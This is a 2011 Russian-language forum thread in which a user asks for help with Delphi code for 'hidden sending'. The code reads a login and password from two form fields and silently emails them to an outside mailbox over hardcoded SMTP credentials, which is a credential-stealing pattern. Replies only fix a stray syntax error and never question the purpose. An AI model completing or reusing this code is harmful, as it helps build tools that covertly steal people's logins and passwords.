Скрытая отправка(не могу найти ошибку) - Помощь студентам

Desprado · 11.03.2011, 04:00

Пытаюсь сделать скрытую отправку

Код:

procedure TForm1.ButtonClick(Sender: TObject);

begin
 idmsg1.CharSet:='windows-1251';
 idmsg1.ContentType  := 'text/html';
 idSmtp.Host:='smtp.mail.ru';
 idSmtp.Port:=587;      // порт
 idSmtp.Username:='test-mai'; //логин ящика откуда отсылаем
 idSmtp.Password:='384618d';  //пас от ящика
 idmsg1.Body.Text:='Логин:'+Edit1.Text+'Пароль:'+Edit2.Text;'';
 idmessage1.From.Text:='test-mail2@mail.ru';
 idmessage1.Recipients.EMailAddresses:='mail@yandex.ru'; // мыло куда будут приходить письма
 idmessage1.Subject:='Тема';  // Тема письма


end;

end.

Ghost of Night · 11.03.2011, 04:04

Цитата:

idmsg1.Body.Text:='Логин:'+Edit1.Te xt+'Пароль:'+Edit2.Text;'';

-
;''; эту ошибку вы найти не можете?

Desprado · 11.03.2011, 04:40

idmsg1.Body.Text:='Логин:'+Edit1.Te xt+'Пароль:'+Edit2.Text;'';
даже если введу в ;'что та';

все равно ошибка idmsg1.Body.Text:='Логин:'+Edit1.Te xt+'Пароль:'+Edit2.Text;'текст';

Kotlyar562 · 11.03.2011, 04:58

;''; - синтаксическая ошибка. вытри '';
Нельзя так писать

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
не могу найти ошибку	Berg_13	Помощь студентам	0	16.05.2010 21:53
Скрытая отправка E-mail: возможно ли заметить?	Ruschel	Работа с сетью в Delphi	3	24.02.2010 03:16
Скрытая отправка e-mail-a	Altera	Работа с сетью в Delphi	3	24.02.2009 06:29
Не могу найти ошибку!	Эдуард	Общие вопросы C/C++	7	27.02.2008 16:34

11.03.2011, 04:40	#3
Desprado Пользователь Регистрация: 09.03.2010 Сообщений: 33	idmsg1.Body.Text:='Логин:'+Edit1.Te xt+'Пароль:'+Edit2.Text;''; даже если введу в ;'что та'; все равно ошибка idmsg1.Body.Text:='Логин:'+Edit1.Te xt+'Пароль:'+Edit2.Text;'текст';

11.03.2011, 04:58	#4
Kotlyar562 Пользователь Регистрация: 03.02.2010 Сообщений: 46	;''; - синтаксическая ошибка. вытри ''; Нельзя так писать